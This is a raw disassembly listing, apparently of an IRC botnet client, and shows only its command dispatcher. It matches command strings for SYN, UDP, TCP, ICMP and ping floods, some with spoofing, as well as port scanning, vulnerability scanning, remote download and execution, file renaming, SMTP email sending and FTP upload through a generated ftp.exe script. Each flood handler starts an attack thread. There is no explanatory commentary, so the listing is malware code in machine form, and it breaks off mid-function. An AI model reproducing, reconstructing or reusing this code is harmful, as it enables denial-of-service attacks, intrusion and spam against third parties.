		push	offset aClone_ni ; "clone.ni"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F3CF
		push	dword ptr [ebp+10h]
		push	offset aClone_join ; "clone.join"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F3A9
		push	dword ptr [ebp+10h]
		push	offset aClone_j	; "clone.j"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F3A9
		push	dword ptr [ebp+10h]
		push	offset aClone_part ; "clone.part"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F346
		push	dword ptr [ebp+10h]
		push	offset aClone_p	; "clone.p"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F346
		push	dword ptr [ebp+10h]
		push	offset aEnz_repeat ; "enz.repeat"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F280
		push	dword ptr [ebp+10h]
		push	offset aEnz_rp	; "enz.rp"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F280
		push	dword ptr [ebp+10h]
		push	offset aEnz_delay ; "enz.delay"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F1E5
		push	dword ptr [ebp+10h]
		push	offset aEnz_de	; "enz.de"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F1E5
		push	dword ptr [ebp+10h]
		push	offset aDownload_updiz ; "download.updiz"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F067
		push	dword ptr [ebp+10h]
		push	offset aDownload_upz ; "download.upz"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F067
		push	dword ptr [ebp+10h]
		push	offset aBox_execute ; "box.execute"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40EFC6
		push	dword ptr [ebp+10h]
		push	offset aBox_e	; "box.e"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40EFC6
		push	dword ptr [ebp+10h]
		push	offset aBox_findfile ; "box.findfile"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40EEC8
		push	dword ptr [ebp+10h]
		push	offset aBox_ff	; "box.ff"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40EEC8
		push	dword ptr [ebp+10h]
		push	offset aBox_rename ; "box.rename"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40EE77
		push	dword ptr [ebp+10h]
		push	offset aBox_mv	; "box.mv"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40EE77
		push	dword ptr [ebp+10h]
		push	offset aDdos_icmp ; "ddos.icmp"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40ED7C
		push	dword ptr [ebp+10h]
		push	offset aDdos_ic	; "ddos.ic"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40ED7C
		mov	eax, [ebp+esi-88h]
		cmp	eax, ebx
		mov	[ebp+8], eax
		jz	loc_40B71F
		push	dword ptr [ebp+10h]
		push	offset aClone_make ; "clone.make"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40EC91
		push	dword ptr [ebp+10h]
		push	offset aClone_start ; "clone.start"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40EC91
		push	dword ptr [ebp+10h]
		push	offset aDs_sy1	; "ds.sy1"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40EB8C
		push	dword ptr [ebp+10h]
		push	offset aDs_ack	; "ds.ack"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40EB8C
		push	dword ptr [ebp+10h]
		push	offset aDs_rm	; "ds.rm"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40EB8C
		push	dword ptr [ebp+10h]
		push	offset aDdos_synflood ;	"ddos.synflood"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40EA8E
		push	dword ptr [ebp+10h]
		push	offset aSy1	; "sy1"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40EA8E
		push	dword ptr [ebp+10h]
		push	offset aDownload_fromw ; "download.fromwww"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E950
		push	dword ptr [ebp+10h]
		push	offset aD1	; "d1"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E950
		push	dword ptr [ebp+10h]
		push	offset aServer_redir_0 ; "server.redirect.on"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E856
		push	dword ptr [ebp+10h]
		push	offset aServer_rd_on ; "server.rd.on"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E856
		push	dword ptr [ebp+10h]
		push	offset aEnz_portscan ; "enz.portscan"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E763
		push	dword ptr [ebp+10h]
		push	offset aEnz_ps	; "enz.ps"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E763
		push	dword ptr [ebp+10h]
		push	offset aClone_privmsg ;	"clone.privmsg"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E68E
		push	dword ptr [ebp+10h]
		push	offset aClone_pm ; "clone.pm"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E68E
		push	dword ptr [ebp+10h]
		push	offset aClone_action ; "clone.action"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E579
		push	dword ptr [ebp+10h]
		push	offset aClone_ac ; "clone.ac"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E579
		mov	eax, [ebp+esi-84h]
		cmp	eax, ebx
		mov	[ebp+18h], eax
		jz	loc_40B71F
		push	dword ptr [ebp+10h]
		push	offset aVuln_start ; "vuln.start"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E220
		push	dword ptr [ebp+10h]
		push	offset aVv	; "vv"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E220
		push	dword ptr [ebp+10h]
		push	offset aDdos_udpflood ;	"ddos.udpflood"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E100
		push	dword ptr [ebp+10h]
		push	offset aDdos_udpf ; "ddos.udpf"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E100
		push	dword ptr [ebp+10h]
		push	offset aPu	; "pu"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E100
		push	dword ptr [ebp+10h]
		push	offset aDdos_pingflood ; "ddos.pingflood"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DFCD
		push	dword ptr [ebp+10h]
		push	offset aDdos_pingf ; "ddos.pingf"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DFCD
		push	dword ptr [ebp+10h]
		push	offset aPg	; "pg"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DFCD
		push	dword ptr [ebp+10h]
		push	offset aDdos_tcpflood ;	"ddos.tcpflood"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DE3A
		push	dword ptr [ebp+10h]
		push	offset aUsa	; "usa"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DE3A
		push	dword ptr [ebp+10h]
		push	offset aUtil_email ; "util.email"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40DC43
		lea	eax, [ebp-3E4h]
		push	edi
		push	eax
		call	sub_413CC0
		push	dword ptr [ebp+20h]
		call	sub_413B1F
		push	dword ptr [ebp+8]
		mov	[ebp+20h], eax
		lea	eax, [ebp-0D9Ch]
		push	eax
		call	sub_413CC0
		push	dword ptr [ebp+18h]
		lea	eax, [ebp-0B94h]
		push	eax
		call	sub_413CC0
		push	offset asc_422D6C ; " "
		push	offset a_	; "_"
		push	dword ptr [ebp+esi-80h]
		call	sub_407E52
		push	eax
		lea	eax, [ebp-548h]
		push	eax
		call	sub_413CC0
		add	esp, 30h
		lea	eax, [ebp-6F4h]
		push	eax
		push	101h
		call	ds:dword_42F680
		lea	eax, [ebp-3E4h]
		push	eax
		call	ds:dword_42F78C
		push	6
		push	1
		push	2
		mov	edi, eax
		call	ds:dword_42F788
		push	dword ptr [ebp+20h]
		mov	esi, eax
		mov	word ptr [ebp-2D8h], 2
		mov	eax, [edi+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp-2D4h], eax
		call	ds:dword_42F708
		mov	[ebp-2D6h], ax
		lea	eax, [ebp-548h]
		push	eax
		lea	eax, [ebp-0D9Ch]
		push	eax
		lea	eax, [ebp-548h]
		push	eax
		lea	eax, [ebp-0B94h]
		push	eax
		lea	eax, [ebp-0D9Ch]
		push	eax
		lea	eax, [ebp-159Ch]
		push	offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
		push	eax
		call	sub_4135AD
		add	esp, 1Ch
		lea	eax, [ebp-2D8h]
		push	10h
		push	eax
		push	esi
		call	ds:dword_42F6B0
		mov	edi, 100h
		push	ebx
		lea	eax, [ebp-0C98h]
		push	edi
		push	eax
		push	esi
		call	ds:dword_42F720
		lea	eax, [ebp-0C98h]
		push	ebx
		push	eax
		call	sub_413DB0
		pop	ecx
		push	eax
		lea	eax, [ebp-159Ch]
		push	eax
		push	esi
		call	ds:dword_42F758
		push	ebx
		lea	eax, [ebp-0C98h]
		push	edi
		push	eax
		push	esi
		call	ds:dword_42F720
		push	esi
		call	ds:dword_42F7A0
		call	ds:dword_42F668
		lea	eax, [ebp-0B94h]
		push	eax
		push	offset unk_42A530


loc_40DC0A:				; CODE XREF: seg000:0040ED77j
					; seg000:0040F062j ...
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_4135AD
		add	esp, 0Ch


loc_40DC19:				; CODE XREF: seg000:0040ED5Bj
					; seg000:0040F006j ...
		cmp	[ebp-8], ebx
		jnz	loc_4109E0
		push	ebx
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_4110B0
		add	esp, 14h
		jmp	loc_4109E0
; ---------------------------------------------------------------------------


loc_40DC43:				; CODE XREF: seg000:0040DAB4j
		push	dword ptr [ebp+10h]
		push	offset aUtil_httpcon ; "util.httpcon"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DE0C
		push	dword ptr [ebp+10h]
		push	offset aUtil_hcon ; "util.hcon"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DE0C
		mov	esi, [ebp+esi-80h]
		cmp	esi, ebx
		jz	loc_40B71F
		push	dword ptr [ebp+10h]
		push	offset aFtp_upload ; "ftp.upload"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_410E98
		push	4
		push	esi
		call	sub_40A68C
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DCE1
		push	esi
		push	offset dword_42A4D4


loc_40DCA8:				; CODE XREF: seg000:0040DFBEj
					; seg000:0040E574j ...
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_4135AD
		add	esp, 0Ch


loc_40DCB7:				; CODE XREF: seg000:0040DFA2j
					; seg000:0040E558j ...
		cmp	[ebp-8], ebx
		jnz	loc_410D58
		push	ebx
		push	dword ptr [ebp-4]


loc_40DCC4:				; CODE XREF: seg000:0040EB87j
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]


loc_40DCD4:				; CODE XREF: seg000:00410430j
		call	sub_4110B0
		add	esp, 14h
		jmp	loc_410D58
; ---------------------------------------------------------------------------


loc_40DCE1:				; CODE XREF: seg000:0040DCA0j
		call	ds:dword_41F044	; GetTickCount
		push	eax
		call	sub_4135FF
		pop	ecx
		call	sub_413609
		push	9
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_413609
		push	63h
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_413609
		cdq
		mov	ecx, 3E7h
		idiv	ecx
		lea	eax, [ebp-0C9Ch]
		push	edx
		push	eax
		lea	eax, [ebp-0B98h]
		push	offset aSIII_dll ; "%s\\%i%i%i.dll"
		push	eax
		call	sub_4135AD
		lea	eax, [ebp-0B98h]
		push	offset aAb	; "ab"
		push	eax
		call	sub_413CA8
		add	esp, 20h
		cmp	eax, ebx
		mov	[ebp+2Ch], eax
		jz	loc_40B71F
		push	esi
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+8]
		push	dword ptr [ebp+20h]
		push	edi
		push	offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
		push	eax
		call	sub_413C56
		push	dword ptr [ebp+2Ch]
		call	sub_413C00
		lea	eax, [ebp-0B98h]
		push	eax
		lea	eax, [ebp-3E4h]
		push	offset aSS_4	; "-s:%s"
		push	eax
		call	sub_4135AD
		add	esp, 2Ch
		lea	eax, [ebp-3E4h]
		push	ebx
		push	ebx
		push	eax
		push	offset aFtp_exe	; "ftp.exe"
		push	offset aOpen	; "open"
		push	ebx
		call	ds:dword_42F67C
		test	eax, eax
		push	edi
		push	esi
		jz	short loc_40DDAB
		push	offset dword_42A458
		jmp	short loc_40DDB0
; ---------------------------------------------------------------------------


loc_40DDAB:				; CODE XREF: seg000:0040DDA2j
		push	offset dword_42A418


loc_40DDB0:				; CODE XREF: seg000:0040DDA9j
		call	sub_4135AD
		add	esp, 0Ch
		cmp	[ebp-8], ebx
		jnz	short loc_40DDD9
		push	ebx
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_4110B0
		add	esp, 14h


loc_40DDD9:				; CODE XREF: seg000:0040DDBBj
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_409615


loc_40DDE5:				; CODE XREF: seg000:0040DE0Aj
		lea	eax, [ebp-0B98h]
		push	4
		push	eax
		call	sub_40A68C
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40B71F
		lea	eax, [ebp-0B98h]
		push	eax
		call	sub_41598C
		jmp	short loc_40DDE5
; ---------------------------------------------------------------------------


loc_40DE0C:				; CODE XREF: seg000:0040DC54j
					; seg000:0040DC6Bj
		push	dword ptr [ebp+esi-80h]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+8]
		push	dword ptr [ebp+20h]
		call	sub_413B1F
		pop	ecx
		push	eax
		push	edi
		push	dword ptr [ebp-8]
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_404FC5
		jmp	loc_410E95
; ---------------------------------------------------------------------------


loc_40DE3A:				; CODE XREF: seg000:0040DA86j
					; seg000:0040DA9Dj
		mov	esi, 80h
		push	edi
		lea	eax, [ebp-680h]
		push	esi
		push	eax
		call	sub_413B2A
		lea	eax, [ebp-680h]
		push	eax
		push	offset aSyn	; "syn"
		call	sub_4139D0
		add	esp, 14h
		test	eax, eax
		jz	short loc_40DE9D
		lea	eax, [ebp-680h]
		push	eax
		push	offset aAck	; "ack"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40DE9D
		lea	eax, [ebp-680h]
		push	eax
		push	offset aRandom	; "random"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40DE9D
		push	offset dword_42A3DC
		jmp	loc_410536
; ---------------------------------------------------------------------------


loc_40DE9D:				; CODE XREF: seg000:0040DE63j
					; seg000:0040DE7Aj ...
		push	dword ptr [ebp+18h]
		call	sub_413B1F
		cmp	eax, ebx
		pop	ecx
		mov	[ebp-578h], eax
		jle	loc_40DFC3
		push	edi
		lea	eax, [ebp-680h]
		push	esi
		push	eax
		call	sub_413B2A
		push	dword ptr [ebp+20h]
		lea	eax, [ebp-700h]
		push	esi
		push	eax
		call	sub_413B2A
		push	dword ptr [ebp+8]
		call	sub_413B1F
		mov	[ebp-57Ch], eax
		xor	eax, eax
		cmp	[ebp-9A2h], bl
		push	dword ptr [ebp-8Ch]
		setnz	al
		mov	[ebp-574h], eax
		mov	eax, [ebp+0Ch]
		mov	[ebp-704h], eax
		lea	eax, [ebp-600h]
		push	esi
		push	eax
		call	sub_413B2A
		mov	eax, [ebp-4]
		add	esp, 28h
		cmp	[ebp-574h], ebx
		mov	[ebp-570h], eax
		mov	eax, [ebp-8]
		mov	[ebp-56Ch], eax
		mov	eax, offset aSpoofed ; "Spoofed"
		jnz	short loc_40DF34
		mov	eax, offset aNormal ; "Normal"


loc_40DF34:				; CODE XREF: seg000:0040DF2Dj
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+8]
		push	dword ptr [ebp+20h]
		push	edi
		push	eax
		push	offset dword_42A384
		lea	eax, [ebp-2C8h]
		push	200h
		push	eax
		call	sub_413B2A
		push	ebx
		lea	eax, [ebp-2C8h]
		push	0Ch
		push	eax
		call	sub_413059
		add	esp, 2Ch
		mov	[ebp-580h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-704h]
		push	ebx
		push	eax
		push	offset loc_401BD6
		push	ebx
		push	ebx
		call	ds:dword_41F06C	; CreateThread
		mov	ecx, [ebp-580h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_4348AC[ecx], eax
		jz	short loc_40DFB2


loc_40DF9C:				; CODE XREF: seg000:0040DFB0j
		cmp	[ebp-568h], ebx
		jnz	loc_40DCB7
		push	32h
		call	ds:dword_41F058	; Sleep
		jmp	short loc_40DF9C
; ---------------------------------------------------------------------------


loc_40DFB2:				; CODE XREF: seg000:0040DF9Aj
		call	ds:dword_41F068	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42A338
		jmp	loc_40DCA8
; ---------------------------------------------------------------------------


loc_40DFC3:				; CODE XREF: seg000:0040DEAEj
		push	offset dword_42A2EC
		jmp	loc_410536
; ---------------------------------------------------------------------------


loc_40DFCD:				; CODE XREF: seg000:0040DA41j
					; seg000:0040DA58j ...
		cmp	ds:dword_42F7F8, ebx
		mov	esi, [ebp+0Ch]
		jnz	loc_40E0D5
		mov	eax, [ebp-8]
		push	7Fh
		mov	[ebp-2ECh], eax
		mov	eax, [ebp-4]
		mov	[ebp-2F0h], eax
		lea	eax, [ebp-384h]
		push	edi
		push	eax
		call	sub_414DD0
		push	dword ptr [ebp+20h]
		call	sub_413B1F
		push	dword ptr [ebp+8]
		mov	[ebp-304h], eax
		call	sub_413B1F
		push	dword ptr [ebp+18h]
		mov	[ebp-300h], eax
		call	sub_413B1F
		push	7Fh
		mov	[ebp-2FCh], eax
		push	dword ptr [ebp-8Ch]
		lea	eax, [ebp-404h]
		push	eax
		call	sub_414DD0
		push	dword ptr [ebp-2FCh]
		lea	eax, [ebp-384h]
		mov	[ebp-408h], esi
		push	dword ptr [ebp-300h]
		push	eax
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-304h]
		push	offset unk_42A290
		push	eax
		call	sub_4135AD
		push	ebx
		lea	eax, [ebp-2C8h]
		push	0Eh
		push	eax
		call	sub_413059
		add	esp, 48h
		mov	[ebp-2F4h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-408h]
		push	ebx
		push	eax
		push	offset loc_4086BF
		push	ebx
		push	ebx
		call	ds:dword_41F06C	; CreateThread
		mov	ecx, [ebp-2F4h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_4348AC[ecx], eax
		jz	short loc_40E0C4


loc_40E0B2:				; CODE XREF: seg000:0040E0C2j
		cmp	[ebp-2E8h], ebx
		jnz	short loc_40E0EE
		push	32h
		call	ds:dword_41F058	; Sleep
		jmp	short loc_40E0B2
; ---------------------------------------------------------------------------


loc_40E0C4:				; CODE XREF: seg000:0040E0B0j
		call	ds:dword_41F068	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42A244
		jmp	loc_40EC80
; ---------------------------------------------------------------------------


loc_40E0D5:				; CODE XREF: seg000:0040DFD6j
		push	1FFh
		lea	eax, [ebp-2C8h]
		push	offset aIcmp_dllNotAva ; "ICMP.dll not available"
		push	eax
		call	sub_414DD0


loc_40E0EB:				; CODE XREF: seg000:0040EC8Cj
		add	esp, 0Ch


loc_40E0EE:				; CODE XREF: seg000:0040E0B8j
					; seg000:0040E1FFj ...
		cmp	[ebp-8], ebx
		jnz	loc_410D58
		push	ebx
		push	dword ptr [ebp-4]
		jmp	loc_410422
; ---------------------------------------------------------------------------


loc_40E100:				; CODE XREF: seg000:0040D9FCj
					; seg000:0040DA13j ...
		mov	eax, [ebp-8]
		push	7Fh
		mov	[ebp-2ECh], eax
		mov	eax, [ebp-4]
		mov	[ebp-2F0h], eax
		lea	eax, [ebp-384h]
		push	edi
		push	eax
		call	sub_414DD0
		push	dword ptr [ebp+20h]
		call	sub_413B1F
		push	dword ptr [ebp+8]
		mov	[ebp-304h], eax
		call	sub_413B1F
		push	dword ptr [ebp+18h]
		mov	[ebp-300h], eax
		call	sub_413B1F
		mov	esi, [ebp+esi-80h]
		add	esp, 18h
		cmp	esi, ebx
		mov	[ebp-2FCh], eax
		jz	short loc_40E165
		push	esi
		call	sub_413B1F
		pop	ecx
		mov	[ebp-2F8h], eax
		jmp	short loc_40E16B
; ---------------------------------------------------------------------------


loc_40E165:				; CODE XREF: seg000:0040E154j
		mov	[ebp-2F8h], ebx


loc_40E16B:				; CODE XREF: seg000:0040E163j
		push	7Fh
		lea	eax, [ebp-404h]
		push	dword ptr [ebp-8Ch]
		push	eax
		call	sub_414DD0
		push	dword ptr [ebp-2FCh]
		mov	esi, [ebp+0Ch]
		lea	eax, [ebp-384h]
		mov	[ebp-408h], esi
		push	dword ptr [ebp-300h]
		push	eax
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-304h]
		push	offset dword_42A1D0
		push	eax
		call	sub_4135AD
		push	ebx
		lea	eax, [ebp-2C8h]
		push	0Fh
		push	eax
		call	sub_413059
		add	esp, 30h
		mov	[ebp-2F4h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-408h]
		push	ebx
		push	eax
		push	offset sub_40884B
		push	ebx
		push	ebx
		call	ds:dword_41F06C	; CreateThread
		mov	ecx, [ebp-2F4h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_4348AC[ecx], eax
		jz	short loc_40E20F


loc_40E1F9:				; CODE XREF: seg000:0040E20Dj
		cmp	[ebp-2E8h], ebx
		jnz	loc_40E0EE
		push	32h
		call	ds:dword_41F058	; Sleep
		jmp	short loc_40E1F9
; ---------------------------------------------------------------------------


loc_40E20F:				; CODE XREF: seg000:0040E1F7j
		call	ds:dword_41F068	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42A184
		jmp	loc_40EC80
; ---------------------------------------------------------------------------


loc_40E220:				; CODE XREF: seg000:0040D9CEj
					; seg000:0040D9E5j
		push	8
		call	sub_4132A1
		push	dword ptr [ebp+20h]
		mov	[ebp+10h], eax
		call	sub_413B1F
		add	eax, [ebp+10h]
		pop	ecx
		pop	ecx
		cmp	eax, 12Ch
		jle	short loc_40E273
		push	dword ptr [ebp+10h]
		lea	eax, [ebp-2C8h]
		push	offset dword_42A130
		push	eax
		call	sub_4135AD
		push	ebx
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_4110B0


loc_40E26B:				; CODE XREF: seg000:0040F68Bj
		add	esp, 20h
		jmp	loc_410E98
; ---------------------------------------------------------------------------


loc_40E273:				; CODE XREF: seg000:0040E23Cj
		push	edi
		call	sub_413B1F
		push	dword ptr [ebp+20h]
		mov	[ebp-31Ch], eax
		call	sub_413B1F
		push	dword ptr [ebp+8]
		mov	[ebp-304h], eax
		call	sub_413B1F
		add	esp, 0Ch
		cmp	eax, 1
		mov	[ebp-318h], eax
		jnb	short loc_40E2AC
		push	1
		pop	eax
		mov	[ebp-318h], eax


loc_40E2AC:				; CODE XREF: seg000:0040E2A1j
		push	3Ch
		pop	ecx
		cmp	eax, ecx
		jbe	short loc_40E2B9
		mov	[ebp-318h], ecx


loc_40E2B9:				; CODE XREF: seg000:0040E2B1j
		push	dword ptr [ebp+18h]
		call	sub_413B1F
		mov	[ebp-314h], eax
		mov	eax, 1F4h
		cmp	[ebp-314h], eax
		pop	ecx
		jbe	short loc_40E2DB
		mov	[ebp-314h], eax


loc_40E2DB:				; CODE XREF: seg000:0040E2D3j
		or	dword ptr [ebp-300h], 0FFFFFFFFh
		cmp	ds:dword_4236A0, ebx
		mov	[ebp+8], ebx
		jz	short loc_40E331
		mov	dword ptr [ebp+2Ch], offset dword_4236A0


loc_40E2F4:				; CODE XREF: seg000:0040E313j
		mov	eax, [ebp+2Ch]
		push	edi
		add	eax, 0FFFFFFD8h
		push	eax
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40E317
		add	dword ptr [ebp+2Ch], 3Ch
		inc	dword ptr [ebp+8]
		mov	eax, [ebp+2Ch]
		cmp	[eax], ebx
		jnz	short loc_40E2F4
		jmp	short loc_40E331
; ---------------------------------------------------------------------------


loc_40E317:				; CODE XREF: seg000:0040E305j
		mov	eax, [ebp+8]
		mov	ecx, eax
		mov	[ebp-300h], eax
		imul	ecx, 3Ch
		mov	ecx, ds:dword_4236A0[ecx]
		mov	[ebp-31Ch], ecx


loc_40E331:				; CODE XREF: seg000:0040E2EBj
					; seg000:0040E315j
		cmp	[ebp-31Ch], ebx
		jz	loc_410153
		mov	edi, [ebp+esi-80h]
		cmp	edi, ebx
		mov	[ebp+20h], edi
		jz	short loc_40E378
		cmp	byte ptr [edi],	23h
		jz	short loc_40E378
		push	edi
		lea	eax, [ebp-430h]
		push	10h
		push	eax
		call	sub_413B2A
		push	78h
		push	edi
		call	sub_415110
		add	esp, 14h
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp-2F0h], eax
		jmp	loc_40E44C
; ---------------------------------------------------------------------------


loc_40E378:				; CODE XREF: seg000:0040E346j
					; seg000:0040E34Bj
		cmp	[ebp-9B3h], bl
		jnz	short loc_40E39A
		cmp	[ebp-9B2h], bl
		jnz	short loc_40E39A
		cmp	[ebp-9A2h], bl
		jnz	short loc_40E39A
		push	offset dword_42A0E4
		jmp	loc_410536
; ---------------------------------------------------------------------------


loc_40E39A:				; CODE XREF: seg000:0040E37Ej
					; seg000:0040E386j ...
		push	10h
		lea	eax, [ebp+8]
		pop	edi
		push	eax
		lea	eax, [ebp-2D8h]
		push	eax
		mov	[ebp+8], edi
		push	dword ptr [ebp+0Ch]
		call	ds:dword_42F6AC
		mov	al, [ebp-9B3h]
		push	edi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp-2D4h], eax
		push	dword ptr [ebp-2D4h]
		call	ds:dword_42F794
		push	eax
		lea	eax, [ebp-430h]
		push	eax
		call	sub_414DD0
		add	esp, 0Ch
		cmp	[ebp-9A2h], bl
		jz	short loc_40E446
		xor	eax, eax
		cmp	[ebp-9B3h], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp-430h]
		push	eax
		call	sub_4150D0
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		mov	[ebp+2Fh], bl
		jle	short loc_40E43A


loc_40E418:				; CODE XREF: seg000:0040E438j
		cmp	eax, ebx
		jz	short loc_40E43A
		mov	byte ptr [eax],	78h
		lea	eax, [ebp-430h]
		push	30h
		push	eax
		call	sub_4150D0
		inc	byte ptr [ebp+2Fh]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+2Fh]
		cmp	ecx, edi
		jl	short loc_40E418


loc_40E43A:				; CODE XREF: seg000:0040E416j
					; seg000:0040E41Aj
		mov	dword ptr [ebp-2F0h], 1
		jmp	short loc_40E44C
; ---------------------------------------------------------------------------


loc_40E446:				; CODE XREF: seg000:0040E3F0j
		mov	[ebp-2F0h], ebx


loc_40E44C:				; CODE XREF: seg000:0040E373j
					; seg000:0040E444j
		mov	eax, [ebp+0Ch]
		push	dword ptr [ebp-8Ch]
		mov	[ebp-320h], eax
		mov	eax, [ebp-4]
		mov	[ebp-2F8h], eax
		mov	eax, [ebp-8]
		mov	[ebp-2F4h], eax
		mov	edi, 80h
		lea	eax, [ebp-420h]
		push	edi
		push	eax
		call	sub_413B2A
		mov	esi, [ebp+esi-7Ch]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_40E49D


loc_40E48A:				; CODE XREF: seg000:0040E4C0j
		push	esi


loc_40E48B:				; CODE XREF: seg000:0040E4AAj
		lea	eax, [ebp-3A0h]
		push	edi
		push	eax
		call	sub_413B2A
		add	esp, 0Ch
